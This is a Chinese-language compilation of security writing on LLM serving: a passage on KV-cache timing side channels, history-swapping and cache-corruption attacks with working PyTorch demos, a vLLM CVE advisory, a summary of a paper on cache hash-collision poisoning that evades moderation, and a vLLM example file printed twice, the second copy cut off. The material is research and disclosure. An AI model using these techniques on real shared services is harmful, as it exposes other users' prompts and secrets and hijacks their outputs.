步骤2:Generate dummy

  • Candidate请求:每个请求包含一个候选后缀(比如Imagine you are an)。目标是看哪一个candidate与victim的缓存前缀最长匹配而“命中”缓存。
  • Dummy请求:随机或不相关的prompt(用来制造队列/填充调度槽位),以便控制调度顺序或避免直接暴露自己的probe请求导致缓存污染判断混淆。

步骤3:Send three request batches in turn

攻击者按这个顺序把三组请求发到服务器(可能是同一API key,也可能跨多个短时间窗口发出)。核心就是在调度队列里把candidate放在中间,观察它是否因为缓存命中而更快返回。

步骤4:Observe the returning order

攻击者记录三批请求的返回顺序和时间(TTFT/latency)。若candidate的响应比其前后的dummy显著更快或优先到达,就可推断该candidate是命中了缓存(即victim的prompt与该candidate共享较长前缀)。

3.2 History Swapping 攻击

image-20251230101845847

History Swapping操纵攻击原理图

攻击者通过结构化替换或注入KV-Cache内容,来“劫持”模型的生成轨迹,强制引导输出转向攻击者指定的主题或行为。这种攻击利用KV-Cache编码了不仅仅是上下文,还包括话题规划(topic trajectory)和结构化推理(structural planning)的特性。

设定攻击场景:受害者Prompt为“Give a precise technical explanation of espresso extraction variables”(讨论咖啡萃取),攻击者希望劫持输出到恒星生命周期主题。用户可见Prompt不变。

步骤1: 预生成目标主题KV-Cache

攻击者离线使用相同模型,基于目标主题Prompt生成一段完整KV-Cache块(topic_cache)。

步骤2: 启动正常生成并等待替换点

从受害者Prompt开始自回归生成,监控已生成token数,直到达到预设swap_token(例如序列的20%-60%处)。

步骤3: 执行块级覆盖替换

计算替换段长度(swap_percent,如25%-75%最近timestep),在全层(或指定早/晚层)用topic_cache对应部分直接覆盖当前缓存。

步骤4: 继续生成并观察劫持

模型基于篡改缓存继续输出。常见效果:立即/延迟主题偏移、原主题与攻击主题交替、或生成重复崩溃。

3.3 KV-Cache 腐败攻击

image-20251230101806716

KV-Cache腐败攻击原理图

攻击者通过向KV-Cache注入扰动(perturbation),破坏注意力机制的完整性,导致输出偏差、性能下降或幻觉增加。这种攻击视KV-Cache为“内存腐败”类似漏洞,扰动键向量(Key vectors)即可放大影响。

设定攻击场景:在正常生成或RAG任务中,攻击者向KV-Cache的Key向量注入扰动,导致注意力偏差、性能下降或幻觉增加。

步骤1: 选择目标层与时机

确定最脆弱层(通常中层,如LLaMA-2第12层)和扰动应用频率(连续或间歇)。

步骤2: 选择扰动变体

  • MTI-Gaussian:添加高斯噪声(σ=0.1-5.0)
  • MTI-Zeroing:概率置零Key条目
  • MTI-Rotation:施加正交旋转(15°-90°)
  • 可结合梯度优化以最大化目标影响

步骤3: 注入扰动到Key向量

在生成过程中,按选定策略对Key向量应用扰动δ。

步骤4: 观察输出效果

监控下一token分布偏移(KL散度上升)、下游任务性能下降15–30%、或RAG幻觉率增加5%-12%。中层扰动放大效果最显著。

0x04 代码实现

测试为纯CPU环境下完成,基于Python3.8+的Hugging Face Transformers与PyTorch运行124M参数的gpt2模型。

4.1 KV-Cache时序侧信道攻击

实验1:基础缓存时序测量

验证KV-Cache复用是否产生物理上可观测的时间差异。

我们实现了一个多租户LLM服务的 KVServer 类,支持:

  1. 最长前缀匹配 (LPM):实现类似vLLM的Prefix Caching
  2. 精确计时:仅测量Prefill阶段的KV 计算,排除tokenization开销
  3. 缓存管理:LRU淘汰策略

核心实现

@dataclass
class _CacheEnt:
    """KV-Cache 条目"""
    prompt: str
    input_ids: torch.Tensor
    past_kv: Tuple
    ts: float

class KVServer:
    """多租户KV-Cache服务器"""

    def _lpm(self, q_ids: torch.Tensor):
        """Longest Prefix Match - 缓存必须是查询的前缀"""
        best = None
        best_len = 0

        for cached, ent in self._cache.items():
            c_ids = ent.input_ids[0].tolist()
            q = q_ids[0].tolist()

            # 计算共同前缀长度
            mlen = 0
            for i, (a, b) in enumerate(zip(c_ids, q)):
                if a == b:
                    mlen = i + 1
                else:
                    break

            # 缓存有效条件:缓存是查询的前缀(mlen == len(cached))
            if mlen > best_len and mlen == len(c_ids) and len(c_ids) <= len(q):
                best = ent
                best_len = mlen

        return (best, best_len) if best else None

    def process(self, prompt: str, max_new=1, uid="anon", write_cache=True):
        """处理请求,返回详细的时序数据"""
        input_ids = self.tok.encode(prompt, return_tensors="pt")
        t0 = time.perf_counter()

        cache_r = self._lpm(input_ids)

        with torch.no_grad():
            if cache_r:
                # 缓存命中路径:复用past_key_values
                ent, matched = cache_r
                self._hits += 1

                if input_ids.shape[1] > matched:
                    # 部分匹配:计算增量部分
                    delta_ids = input_ids[:, matched:]
                    out = self.model(
                        delta_ids,
                        past_key_values=ent.past_kv,
                        use_cache=True
                    )
                    past_kv = out.past_key_values
                else:
                    # 完全命中:直接复用
                    past_kv = ent.past_kv

                prefill_t = (time.perf_counter() - t0) * 1000
                hit = True
            else:
                # 缓存未命中路径:完整前向传播
                self._miss += 1
                out = self.model(input_ids, use_cache=True)
                past_kv = out.past_key_values
                prefill_t = (time.perf_counter() - t0) * 1000
                hit = False

        # ... 生成阶段与缓存写回

运行结果

可以看到上面第一次请求Prefill用了大约380ms,这是模型执行完整前向传播的时间。对于GPT-2,这意味着要进行12层TransformerBlock的矩阵乘法运算。

然后当二次请求完全相同的时候Prefill仅仅为0.024ms ,几乎就只有内存操作时间。这个原因是因为past_key_values已存在,模型跳过了所有Attention层的Q×KT​计算,仅需简单的张量拼接。

实验2:prompt探测攻击

为了验证攻击者能否通过时序差异识别受害者的Prompt

核心代码:

def experiment_2_exact_match_attack():
    # 步骤1: 受害者缓存敏感Prompt
    victim_prompts = [
        "My secret password is hunter2",
        "My API key is sk-1234567890abcdef",
    ]

    for prompt in victim_prompts:
        server.process(prompt, uid="victim", write_cache=True)

    # 步骤2: 攻击者构造候选列表
    candidates = [
        "My secret password is hunter2",      # ✓ 匹配
        "My secret password is wrong",        # ✗ 不匹配
        "My secret code is hunter2",          # ✗ 不匹配
        "My API key is sk-1234567890abcdef",  # ✓ 匹配
        "My API key is sk-wrong-key",         # ✗ 不匹配
    ]

    # 步骤3: 逐个探测
    discovered = []
    for cand in candidates:
        r = server.process(cand, uid="attacker", write_cache=False)
        t = r['prefill_ms']

        if t < 1.0:  # 阈值判定
            discovered.append((cand, t))

    return discovered

运行结果

image-20251230222154860

我们可以从上面实验结果看到当探测内容与缓存完全一致时,模型无需任何计算,直接返回缓存指针。时间差异非常大。

我们可以从攻击者视角的视角来看到这件事:

1.攻击者构造"密码候选列表"(类似字典攻击),逐个探测。

2.只要有一个候选的响应时间<1ms,攻击者就能推断出被攻击者的完整prompt。

攻击简易流程图如下。

1

4.2 History Swapping攻击

实验目标:在不改变用户可见Prompt的情况下,通过替换推理过程中的past_key_values片段,把模型输出从“受害者话题”劫持到“攻击者话题”。

  • 受害者请求:正常的业务问题(例如“如何制作咖啡”)。
  • 攻击者能力


    • 能在同一推理进程/同一GPU的Worker内“写入或污染”共享的KV-Cache(例如:推理引擎实现了前缀缓存复用、调度/缓存对象复用存在隔离缺陷、或插件/监控/扩展组件可触达缓存对象)。
    • 攻击者提前离线生成一段目标主题的K-Cache。
    • 攻击效果:用户看到的prompt没变,但输出内容发生明显“叙事漂移”。

核心思路

  1. 攻击者用目标主题prompt跑一次Prefill,得到attacker_cache
  2. 受害者开始生成,达到某个swap_at_token时刻。
  3. 在所有层(或关键层)将受害者cache的一段时间步区间(如中间30%-60%)用attacker_cache的片段覆盖。

核心实现:

def gen_with_swap(model, tok, prompt: str, max_tok=30,
                 atk_cache=None, swap_at=2):
    """带缓存替换的生成函数"""
    ids = tok.encode(prompt, return_tensors="pt")
    generated = []

    # Prefill 阶段
    with torch.no_grad():
        out = model(input_ids=ids, use_cache=True)
        past = out.past_key_values
        logits = out.logits[0, -1, :]

    # 逐 token 生成
    for step in range(max_tok):
        tok_id = torch.argmax(logits).item()
        generated.append(tok_id)

        # 关键:在指定步数替换缓存
        if step == swap_at and atk_cache is not None:
            past = _swap_mix(past, atk_cache)

        nxt = torch.tensor([[tok_id]])
        with torch.no_grad():
            out = model(input_ids=nxt, past_key_values=past, use_cache=True)
            past = out.past_key_values
            logits = out.logits[0, -1, :]

    return tok.decode(generated, skip_special_tokens=True)

def _swap_mix(vic_cache, atk_cache):
    """混合策略:保留 10% 受害者前缀,替换中间 85% 为攻击者缓存"""
    from transformers.cache_utils import DynamicCache

    # 提取张量
    if hasattr(vic_cache, "key_cache"):
        v_k = [vic_cache.key_cache[i].clone() for i in range(len(vic_cache.key_cache))]
        v_v = [vic_cache.value_cache[i].clone() for i in range(len(vic_cache.value_cache))]
        a_k = [atk_cache.key_cache[i] for i in range(len(atk_cache.key_cache))]
        a_v = [atk_cache.value_cache[i] for i in range(len(atk_cache.value_cache))]
    else:
        # 兼容 tuple 格式
        v_k = [vic_cache[i][0].clone() for i in range(len(vic_cache))]
        v_v = [vic_cache[i][1].clone() for i in range(len(vic_cache))]
        a_k = [atk_cache[i][0] for i in range(len(atk_cache))]
        a_v = [atk_cache[i][1] for i in range(len(atk_cache))]

    new_cache = DynamicCache()

    for layer in range(len(v_k)):
        vk, vv = v_k[layer], v_v[layer]
        ak, av = a_k[layer], a_v[layer]

        seq_len = vk.shape[2]
        atk_len = ak.shape[2]

        # 替换策略:保留 10%,替换 10%-95%
        start = int(seq_len * 0.1)
        end = int(seq_len * 0.95)
        swap_sz = min(end - start, atk_len)

        nk = vk.clone()
        nv = vv.clone()

        if swap_sz > 0:
            # 关键:切片替换
            nk[:, :, start:start+swap_sz, :] = ak[:, :, :swap_sz, :]
            nv[:, :, start:start+swap_sz, :] = av[:, :, :swap_sz, :]

        new_cache.key_cache.append(nk)
        new_cache.value_cache.append(nv)

    return new_cache

image-20251229201348226

在我们进行swap_at_token 之后,输出出现明显话题漂移,原本应该是咖啡的制作方面的东西,结果话题漂移到了星空上面。

4.3 KV-Cache腐败攻击

实验:Cache Corruption(扰动Key 向量)

实验目标:在生成过程中对KV-Cache的Key张量注入扰动(噪声/置零/旋转),观察注意力机制被破坏后带来的输出质量退化(重复、语义漂移、幻觉倾向上升)。

更贴近实战的场景设定

  • 共享显存/共享推理Worker:攻击者通过越权写入或内存破坏类漏洞(例如缓存指针复用错误、越界写、错误的张量视图复用)影响到其他请求的KV。
  • RAG/Agent场景:缓存腐败会显著增加“把检索内容读错/拼接错”的概率,表现为幻觉或逻辑断裂。

扰动策略

  • corrupt_gaussian:K = K + N(0, σ^2)
  • corrupt_zeroing:以概p 将Key条目置零
  • corrupt_rotation:对Key的embedding子空间做正交旋转(简化实现为对最后维度两两旋转)

核心实现:

#高斯噪声
def corrupt_gaussian(cache, sig=1.0):
    """对 Key 向量添加高斯噪声:K = K + N(0, σ²)"""
    ts = _extract(cache)
    out = []
    mid = len(ts) // 2

    for i, (k, v) in enumerate(ts):
        if abs(i - mid) <= 1:  # 中层更敏感
            noise = torch.randn_like(k) * sig
            out.append((k + noise, v.clone()))
        else:
            out.append((k.clone(), v.clone()))

    return _rebuild(out)

#随机置零
def corrupt_zeroing(cache, p=0.3):
    """以概率 p 将 Key 条目置零"""
    ts = _extract(cache)
    out = []
    mid = len(ts) // 2

    for i, (k, v) in enumerate(ts):
        if abs(i - mid) <= 1:
            mask = (torch.rand_like(k) > p).float()
            out.append((k * mask, v.clone()))
        else:
            out.append((k.clone(), v.clone()))

    return _rebuild(out)

#正交旋转
def corrupt_rotation(cache, deg=45.0):
    """对 Key 的 embedding 子空间做正交旋转"""
    ts = _extract(cache)
    out = []
    mid = len(ts) // 2

    rad = np.radians(deg)
    c, s = np.cos(rad), np.sin(rad)

    for i, (k, v) in enumerate(ts):
        if abs(i - mid) <= 1:
            nk = k.clone()
            d = k.shape[-1]
            # 对最后维度两两旋转
            for j in range(0, d - 1, 2):
                kj = k[:, :, :, j].clone()
                kj1 = k[:, :, :, j + 1].clone()
                nk[:, :, :, j] = c * kj - s * kj1
                nk[:, :, :, j + 1] = s * kj + c * kj1
            out.append((nk, v.clone()))
        else:
            out.append((k.clone(), v.clone()))

    return _rebuild(out)

实验结果如下

image-20251230223603113

可以看到在不同扰动策略下模型输出的内容发生明显变化。

0x05 防御与缓解措施

以下从架构、系统、审计三层总结主流缓解措施,结合最新研究(如SafeKV、KV-Cloak),旨在平衡安全性、性能与部署成本。

5.1 架构层防御

  • 租户级缓存隔离:通过Tenant ID、Session Scope或用户唯一标识符划分KV命名空间,完全禁止跨租户共享。适用于高敏感场景,虽牺牲部分吞吐,但彻底消除侧信道。
  • 选择性共享:仅允许非敏感前缀共享,结合细粒度隐私策略(如基于内容分类)决定复用范围。
  • 缓存生命周期管理:单次请求后自动清除,或设置TTL过期策略,减少驻留时间泄露风险。
  • LPM随机化与分区:在最长前缀匹配中引入随机扰动,或按哈希分区缓存池,打乱命中可预测性。

5.2 系统层防御

  • 噪声注入与延迟模糊化:在缓存命中路径插入±Δt随机延迟,或对时间指标添加噪声,隐藏TTFT/顺序差异(针对时序攻击)。
  • 缓存内容混淆:使用可逆矩阵变换对KV向量加密/混淆,仅授权方可逆转。
  • 扰动检测与完整性校验:实时监控KV向量范数/哈希变化,检测异常扰动(针对腐败攻击)或引入dropout-mask随机化/注意力平滑,减轻操纵影响。
  • 参数与接口限制:禁止外部暴露use_cache、position_ids等敏感参数;结合速率限制(throttling)阻断高频探测请求。
  • 机密计算集成:利用TEE(Trusted Execution Environment)加密KV-Cache内存,防止物理/侧信道访问。

5.3 审计与合规层

  • 缓存审计器:记录每条请求的缓存命中/共享日志,绘制租户-缓存命中矩阵,便于事后追溯。
  • 异常行为监控:基于机器学习检测异常调度模式(如批量相似前缀探测),自动告警或隔离。
  • 合规框架支持:在SOC 2、ISO 27001或GDPR下,强制日志不可篡改,并定期审计共享安全性。

参考资料

https://openreview.net/pdf?id=gUj2fxQcLZ

https://www.ndss-symposium.org/wp-content/uploads/2025-1772-paper.pdf

https://huggingface.co/docs/transformers/en/kv_cache

https://arxiv.org/abs/2312.07104

https://www.arxiv.org/pdf/2510.17098

https://arxiv.org/pdf/2511.12752

https://pub.towardsai.net/lets-build-an-optimizer-for-a-gpt-model-from-scratch-in-pytorch-kv-caching-4d3f1f9516fa

背景

vLLM 是一个高吞吐量、低内存占用的开源 Python 库,专为大型语言模型的推理和服务设计。它通过优化的内核和高效的资源管理,支持 AI 开发者在各种硬件平台上部署和运行大型语言模型,目前达到了46.4K的star数量。vLLM 的广泛应用使其成为 AI 社区的重要工具,但也因此成为攻击者的潜在目标。

2025 年 4 月 29 日,vLLM 项目发布了安全更新,修复了多个安全漏洞。奇安信星图实验室的安全研究员协助 vLLM 项目修复了其中三个关键漏洞,分别是 CVE-2025-32444、CVE-2025-46560 和 CVE-2025-30202。这些漏洞可能被攻击者利用,引发拒绝服务攻击或远程代码执行,对使用 vLLM 的系统构成严重威胁。其中CVE-2025-32444的CVSS评分达到严重(10.0),成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

漏洞详情

CVE-2025-32444

vLLM Mooncake 集成远程代码执行漏洞

  • 严重性:严重
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(10.0)
  • 受影响版本:>= 0.6.5, < 0.8.5
  • 已修复版本:0.8.5

描述: vLLM 在与 Mooncake 集成时,使用不安全的 pickle 序列化通过 ZeroMQ 套接字传输数据。由于这些套接字监听所有网络接口,未经身份验证的攻击者可以连接到开放端口并发送恶意 pickle 数据,从而在 vLLM 服务器上执行任意代码。此漏洞的攻击复杂度低,且无需用户交互,风险极高。

影响: 仅使用 Mooncake 集成的 vLLM 实例受此漏洞影响。成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

代码位置: https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179

CVE-2025-46560

vLLM input_processor_for_phi4mm 函数二次时间复杂度漏洞

  • 严重性:中等
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H(6.5)
  • 受影响版本:>= 0.8.0, < 0.8.5
  • 已修复版本:0.8.5

描述: 在 vLLM 的 input_processor_for_phi4mm 函数中,存在二次时间复杂度(O(n²))的问题。攻击者可以通过构造包含大量占位符的输入数据,导致处理时间呈平方级增长,从而耗尽 CPU 或内存资源,引发拒绝服务攻击。例如,处理 10,000 个占位符可能导致约 1 亿次操作,显著降低系统性能。

影响: 此漏洞允许具有网络访问权限的攻击者在无需高级权限的情况下触发拒绝服务,影响 vLLM 服务的可用性。

代码位置: https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197

CVE-2025-30202

vLLM ZeroMQ XPUB 套接字配置不当漏洞

  • 严重性:高
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
  • 受影响版本:>= 0.5.2, < 0.8.5
  • 已修复版本:0.8.5

描述: 在多节点 vLLM 部署中,ZeroMQ XPUB 套接字被配置为绑定到所有网络接口,允许未经授权的客户端连接并接收内部 vLLM 状态数据。攻击者可通过发送大量连接请求或恶意数据包,减缓或阻塞发布者进程,从而引发拒绝服务攻击。

影响: 此漏洞可能导致 vLLM 服务性能下降或完全不可用,影响多节点部署的稳定性。攻击者无需认证即可利用此漏洞。

代码位置

建议措施

为确保系统安全,vLLM 用户应采取以下措施:

  1. 立即更新:将 vLLM 更新到版本 0.8.5 或更高版本,以修复所有上述漏洞。更新说明可参考 vLLM 官方文档。
  2. 临时缓解措施
    1. GHSA-hj4w-hm2g-p6w5:确保 vLLM 服务器不暴露在不受信任的网络中,并通过防火墙限制对 ZeroMQ 套接字的访问。
    2. GHSA-9f8f-2vmf-885j:配置防火墙规则,仅允许受信任的主机访问 XPUB 套接字使用的 TCP 端口(端口为随机分配,需检查配置)。
  3. 网络隔离:将 vLLM 部署在受控网络环境中,避免直接暴露在公共互联网上。

相关链接

漏洞影响评估

以下表格总结了三个漏洞的关键信息:

漏洞 IDCVE ID严重性受影响版本已修复版本主要影响
GHSA-vc6m-hm49-g9qgCVE-2025-46560中等>= 0.8.0, < 0.8.50.8.5拒绝服务(DoS)
GHSA-hj4w-hm2g-p6w5CVE-2025-32444严重>= 0.6.5, < 0.8.50.8.5远程代码执行(RCE)
GHSA-9f8f-2vmf-885jCVE-2025-30202>= 0.5.2, < 0.8.50.8.5拒绝服务(DoS)

技术背景

vLLM 的设计依赖于高性能的分布式计算和网络通信,特别是在多节点部署中使用了 ZeroMQ 等技术。然而,网络接口配置不当或序列化机制的不安全使用可能引入严重的安全风险。例如,pickle 序列化在 Python 中因其可执行任意代码的特性而被认为不安全,尤其是在未受信任的网络环境中。类似地,ZeroMQ 套接字的默认配置可能导致意外的数据暴露或资源耗尽。

社区响应

vLLM 项目团队迅速响应了这些漏洞报告,并在 0.8.5 版本中发布了修复补丁。社区用户被鼓励通过 vLLM GitHub 仓库 跟踪更新,并参与漏洞报告和修复工作。vLLM 还计划在未来的版本中增强安全设计,例如改进网络配置验证和序列化安全性。

结论

这些漏洞的发现和修复凸显了开源软件安全的重要性。vLLM 作为 AI 领域的重要工具,其安全性直接影响众多应用场景。通过奇安信星图实验室和 vLLM 社区的协作,这些高危漏洞得以迅速修复,保障了用户系统的安全。用户应保持警惕,及时更新软件,并遵循最佳安全实践以降低风险。

在大模型(LLM)服务极速发展的当下,效率至关重要。为了降低延迟并控制算力成本,主流推理框架广泛引入了先进的缓存机制。然而,这种追求极致速度的设计是否埋下了安全隐患?

本论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话,就会造成安全隐患。论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

1. LLM推理加速背后的隐忧

随着模型参数规模的不断膨胀,推理计算的开销急剧上升。为了优化用户体验,vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略,包括前缀缓存(Prefix Cache)、语义缓存(Semantic Cache)和多模态缓存(Multimodal Cache)。

虽然这些机制通过存储中间状态极大地减少了重复计算,但我们的研究发现,现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准,共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同,这是一类发生在推理阶段的全新安全威胁。

2. Cache Me, Catch You:首个LLM缓存安全系统性研究

为了揭示这一风险,我们对主流LLM服务框架的缓存实现进行了全面的解构与分析,并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性,能够在不接触模型权重的情况下,通过污染共享缓存来操纵模型输出。

主要发现与攻击向量:

我们将发现的威胁归纳为两大类:一是面向用户的欺诈攻击,即攻击者利用系统渠道向用户传递恶意信息 ,具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ,以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ;二是系统完整性攻击,旨在破坏服务功能或绕过安全审查 ,具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ,以及利用图像处理忽略元数据(如尺寸)缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。

细节详解:

以多模态为例,其核心漏洞根源在于当前主流推理框架(如vLLM)在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言,vLLM默认调用PIL 的 tobytes() 方法来提取图像数据以计算哈希,该方法虽然能获取原始像素字节流,但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击,通过重塑图像维度(例如将 H*W的图像变形为W*H)而不改变像素排列顺序,使得原本违规的图片变成一团毫无意义的噪点,从而生成与原图完全一致的哈希值。此外,攻击者还能利用“调色板模式”漏洞,构造出索引数据相同但颜色定义截然相反的图片对(如黑底白字与白底黑字),由于序列化过程仅读取索引而忽略调色板定义,这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。

同样的隐患也出现在SGLang框架中,其为了适配张量数值范围将SHA256哈希值进行了取模截断,导致哈希空间被压缩至极易发生碰撞的范围。

下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘,实现看上去不同的图片但是hash一致。

3. 实验效果与影响评估

我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测,证实了这些攻击路径的高可用性与低门槛:攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例,我们在30分钟内便成功搜索到碰撞哈希,实现了100%的缓存命中 。

实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图,成功命中图片之后会复用之前的图片预处理结果,导致生成了错误回复。

4. 防御方案与行业响应

针对发现的漏洞,我们提出了五层防御策略,包括引入随机化哈希(Salting)、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明,上述的防御方案是可行的、有效的。

我们在第一时间将发现的漏洞通报给了受影响的厂商和社区,包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy,并分配了 3个 CVE 编号。值得注意的是,vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施(如引入随机盐值、规范化图像序列化等)并完成了修复。(在本文发表时,SGLang也反馈采纳了我们的缓解措施。)

5. 讨论与未来展望

我们的研究再次表明,高性能不应成为忽视底层系统安全的理由。本研究证明,即便模型本身无懈可击,外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石;特别是在云端共享算力场景下,必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作,本研究旨在推动社区正视这一隐蔽威胁,共同构建更稳健的大模型服务基础设施。

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

代码仓库:https://github.com/XingTuLab/Cache_Me_Catch_You

感谢您的阅读,期待能为您的AI安全研究与工程实践带来启发!

vLLM 是一款专为大语言模型推理加速而设计的框架,实现了 KV 缓存内存几乎零浪费,解决了内存管理瓶颈问题。

更多 vLLM 中文文档及教程可访问 →https://vllm.hyper.ai/

*在线运行 vLLM 入门教程:零基础分步指南

源码 examples/offline_inference/rlhf_utils.py

import torch


def stateless_init_process_group(master_address, master_port, rank, world_size,
                                 device):

    """
    vLLM 提供 `StatelessProcessGroup` 来创建进程组,
    无需考虑 torch.distributed 中的全局进程组。
    建议先创建 `StatelessProcessGroup`,然后初始化
    外部(训练进程)与 vLLM 工作进程之间的数据平面通信(NCCL)。
    """
    from vllm.distributed.device_communicators.pynccl import PyNcclCommunicator
    from vllm.distributed.utils import StatelessProcessGroup
    pg = StatelessProcessGroup.create(host=master_address,
                                      port=master_port,
                                      rank=rank,
                                      world_size=world_size)
    pynccl = PyNcclCommunicator(pg, device=device)
    return pynccl


class WorkerExtension:

    """
    vLLM 工作进程的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def init_weight_update_group(self, master_address, master_port,
                                 rank_offset, world_size):
        from vllm.distributed.parallel_state import get_world_group
        rank = get_world_group().rank + rank_offset
        self.model_update_group = stateless_init_process_group(
            master_address,
            master_port,
            rank,
            world_size,
            self.device,
        )

    def update_weight(self, name, dtype, shape):
        weight = torch.empty(shape, dtype=dtype, device="cuda")
        self.model_update_group.broadcast(weight,
                                          src=0,
                                          stream=torch.cuda.current_stream())

        self.model_runner.model.load_weights(weights=[(name, weight)])

        del weight

    def check_weights_changed(self):
        """
        Check if the weights are updated to 0.
        """
        """
        检查权重是否已更新为 0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated


class ColocateWorkerExtension:

    """
    vLLM 工作进程在协同部署场景下的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def report_device_id(self) -> str:
        from vllm.platforms import current_platform
        self.device_uuid = current_platform.get_device_uuid(self.device.index)
        return self.device_uuid

    def update_weights_from_ipc_handles(self, ipc_handles):
        handles = ipc_handles[self.device_uuid]
        device_id = self.device.index
        weights = []
        for name, handle in handles.items():
            func, args = handle
            list_args = list(args)
            # the key is to change device id to the current device id
            # in case two processes have different CUDA_VISIBLE_DEVICES
            # 关键是将设备 ID 改为当前设备 ID,
            # 以防两个进程有不同的 CUDA_VISIBLE_DEVICES
            list_args[6] = device_id
            tensor = func(*list_args)
            weights.append((name, tensor))
        self.model_runner.model.load_weights(weights=weights)
        torch.cuda.synchronize()

    def check_weights_changed(self):

        """
        检查权重是否已更新为0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated

vLLM 是一款专为大语言模型推理加速而设计的框架,实现了 KV 缓存内存几乎零浪费,解决了内存管理瓶颈问题。

更多 vLLM 中文文档及教程可访问 →https://vllm.hyper.ai/

*在线运行 vLLM 入门教程:零基础分步指南

源码 examples/offline_inference/rlhf_utils.py

import torch


def stateless_init_process_group(master_address, master_port, rank, world_size,
                                 device):

    """
    vLLM 提供 `StatelessProcessGroup` 来创建进程组,
    无需考虑 torch.distributed 中的全局进程组。
    建议先创建 `StatelessProcessGroup`,然后初始化
    外部(训练进程)与 vLLM 工作进程之间的数据平面通信(NCCL)。
    """
    from vllm.distributed.device_communicators.pynccl import PyNcclCommunicator
    from vllm.distributed.utils import StatelessProcessGroup
    pg = StatelessProcessGroup.create(host=master_address,
                                      port=master_port,
                                      rank=rank,
                                      world_size=world_size)
    pynccl = PyNcclCommunicator(pg, device=device)
    return pynccl


class WorkerExtension:

    """
    vLLM 工作进程的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def init_weight_update_group(self, master_address, master_port,
                                 rank_offset, world_size):
        from vllm.distributed.parallel_state import get_world_group
        rank = get_world_group().rank + rank_offset
        self.model_update_group = stateless_init_process_group(
            master_address,
            master_port,
            rank,
            world_size,
            self.device,
        )

    def update_weight(self, name, dtype, shape):
        weight = torch.empty(shape, dtype=dtype, device="cuda")
        self.model_update_group.broadcast(weight,
                                          src=0,
                                          stream=torch.cuda.current_stream())

        self.model_runner.model.load_weights(weights=[(name, weight)])

        del weight

    def check_weights_changed(self):
        """
        Check if the weights are updated to 0.
        """
        """
        检查权重是否已更新为 0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated


class ColocateWorkerExtension:

    """
    vLLM 工作进程在协同部署场景下的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

